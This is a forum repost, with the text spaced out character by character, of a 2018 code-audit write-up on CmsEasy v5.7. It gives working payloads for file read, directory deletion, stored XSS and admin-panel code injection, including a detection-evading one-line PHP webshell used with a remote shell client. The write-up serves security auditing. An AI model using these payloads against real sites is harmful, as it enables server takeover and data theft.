搜索

[844] 2018-03-05_CmsEasy_v5.7漏洞测试

文档创建者：s7ckTeam
浏览次数：12
最后更新：2025-01-16
2018-03-05_CmsEasy_v5.7漏洞测试 0 1 0 2 0 3 0 4 0 5 0 6 C m s E a s y _ v 5 . 7   漏 洞 测 试 原 创   B y p a s s   B y p a s s   2 0 1 8 - 0 3 - 0 5 前 言 前 言         下 载 了 一 套 C M S ， 看 了 一 下 ， 部 分 代 码 加 密 ， 也 懒 得 去 解 密 了 ， 费 事 。 直 接 登 录 后 台 进 行 黑 盒 结 合 白 盒 进 行 测 试 ， 也 发 现 了 一 些 问 题 ， 汇 总 一 下 ， 不 做 具 体 代 码 分 析 。 环 境 准 备 环 境 准 备 C m s E a s y 官 网 ： h t t p : / / w w w . c m s e a s y . c n 网 站 源 码 版 本 ： C m s E a s y _ v 5 . 7 _ U T F 8 - 0 2 0 8 程 序 源 码 下 载 ：   h t t p : / / f t p . c m s e a s y . c n / C m s E a s y 5 . x / C m s E a s y _ 5 . 7 _ U T F - 8 _ 2 0 1 8 0 2 0 8 . z i p 默 认 后 台 ：   h t t p : / / 1 2 7 . 0 . 0 . 1 / i n d e x . p h p ? c a s e = a d m i n & a c t = l o g i n & a d m i n _ d i r = a d m i n & s i t e = d e f a u l t 查 看 C M S 版 本 ： h t t p : / / 1 2 7 . 0 . 0 . 1 / c a c h e / d a t a / i n f . t x t 账 号 密 码   自 设 任 意 文 件 读 取 任 意 文 件 读 取 读 取 c o n f i g . p h p 配 置 文 件 内 容 P a y l o a d ： h t t p : / / 1 2 7 . 0 . 0 . 1 / i n d e x . p h p ? c a s e = t e m p l a t e & a c t = f e t c h & a d m i n _ d i r = a d m i n & s i t e = d e f a u l t 【 P O S T 】 : & i d = . . / . . / c o n f i g / c o n f i g . p h p 任 意 目 录 删 除 任 意 目 录 删 除 网 站 根 目 录 新 建 t e s t 目 录 作 为 测 试 目 录 P a y l o a d ： h t t p : / / 1 2 7 . 0 . 0 . 1 / i n d e x . p h p ? c a s e = d a t a b a s e & a c t = r e s t o r e & a d m i n _ d i r = a d m i n & s i t e = d e f a u l t 【 P O S T 】 ： s e l e c t % 5 B % 5 D = . . / t e s t & s u b m i t = + % C 3 % 9 7 + % E 5 % 8 8 % A 0 % E 9 % 9 9 % A 4 + 存 储 型 存 储 型 X S S 登 录 后 台 - - 模 板 - - 自 定 义 标 签 - - 添 加 内 容 标 签 ： P a y l o a d ： 1 1 1 1 1 1 1 1 1 1 < a   h r e f = h t t p : / / w w w . b a i d u . c o m > 百 度 < / a > 后 台 后 台 G e t s h e l l
代 码 分 析 ： 代 码 分 析 ： 漏 洞 文 件 位 置 ： / l i b / t a b l e / t a b l e _ t e m p l a t e t a g w a p . p h p   第 3 - 2 0 行 ： 1 .     c l a s s   t a b l e _ t e m p l a t e t a g   e x t e n d s   t a b l e _ m o d e   {     2 .             f u n c t i o n   v a i l d ( )   {     3 .                     i f ( ! f r o n t : : p o s t ( ' n a m e ' ) )   {     4 .                             f r o n t : : f l a s h ( ' 请 填 写 名 称 ！ ' ) ;     5 .                             r e t u r n   f a l s e ;     6 .                     }     7 .                     i f ( ! f r o n t : : p o s t ( ' t a g c o n t e n t ' ) )   {     8 .                             f r o n t : : f l a s h ( ' 请 填 写 内 容 ！ ' ) ;     9 .                             r e t u r n   f a l s e ;     1 0 .                 }     1 1 .                 r e t u r n   t r u e ;     1 2 .         }     1 3 .         f u n c t i o n   s a v e _ b e f o r e ( )   {     1 4 .                 i f ( ! f r o n t : : p o s t ( ' t a g f r o m ' ) )   f r o n t : : $ p o s t [ ' t a g f r o m ' ] = ' d e f i n e ' ;     1 5 .                 i f ( ! f r o n t : : p o s t ( ' a t t r 1 ' ) )   f r o n t : : $ p o s t [ ' a t t r 1 ' ] = ' 0 ' ;     1 6 .                 i f ( f r o n t : : $ p o s t [ ' t a g c o n t e n t ' ] )   f r o n t : : $ p o s t [ ' t a g c o n t e n t ' ]   =   h t m l s p e c i a l c h a r s _ d e c o d e ( f r o n t : : $ p o s t [ ' t a g c o n t e n t ' ] ) ;     1 7 .         }     1 8 . }                     可 以 看 到 在 写 入 文 件 之 前 ， 使 用 h t m l s p e c i a l c h a r s _ d e c o d e 函 数 把 预 定 义 的   H T M L   实 体 " < " （ 小 于 ） 和   " > " （ 大 于 ） 转 换 为 字 符 。 因 此 我 们 可 以 使 用 双 引 号 闭 合 ， 从 而 构 造 出 P a y l o a d 写 入 文 件 ， 进 一 步 触 发 代 码 ， 导 致 程 序 在 实 现 上 存 在 代 码 执 行 漏 洞 。 攻 击 者 可 通 过 构 造 恶 意 脚 本 代 码 写 入 配 置 文 件 ， 从 而 执 行 命 令 ， 控 制 网 站 服 务 器 权 限 。 漏 洞 利 用 漏 洞 利 用 : 1 、 登 录 后 台 ， 模 板 - - 自 定 义 标 签 — 添 加 自 定 义 标 签 - - 填 写 P a y l o a d — 提 交 ：   P a y l o a d ：   1 1 1 1 1 1 1 1 1 1 " ; } < ? p h p   p h p i n f o ( ) ? > 2 、 提 交 保 存 后 ， 点 击 预 览 ， 成 功 触 发 代 码 ， 或 者 查 看 i d 的 值 ， 然 后 直 接 访 问 文 件 路 径 ： h t t p : / / 1 2 7 . 0 . 0 . 1 / c o n f i g / t a g / c a t e g o r y _ 1 3 . p h p
0 7 3 、 附 绕 代 码 检 测 的 一 句 话 P a y l o a d :   1 1 " ; } < ? p h p   a s s e r t ( $ _ P O S T [ g ] ) ; ? > 通 过 菜 刀 连 接 ， 控 制 网 站 服 务 器 ： 总 结 总 结         一 次 不 太 成 功 的 代 码 审 计 日 志 ， 因 部 分 代 码 加 密 ， 使 用 黑 盒 结 合 白 盒 的 手 法 ， 根 据 功 能 点 进 行 审 计 ， 可 以 快 速 发 掘 程 序 中 存 在 的 安 全 漏 洞 。 接 下 来 ， 将 不 定 时 更 新 各 种 C M S 的 代 码 审 计 文 章 ， 欢 迎 志 同 道 合 的 朋 友 来 相 互 探 讨 ， 交 流 。 B y p a s s A b o u t   M e 一 个 网 络 安 全 爱 好 者 ， 对 技 术 有 着 偏 执 狂 一 样 的 追 求 。 致 力 于 分 享 原 创 高 质 量 干 货 ， 包 括 但 不 限 于 ： 渗 透 测 试 、 W A F 绕 过 、 代 码 审 计 、 安 全 运 维 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理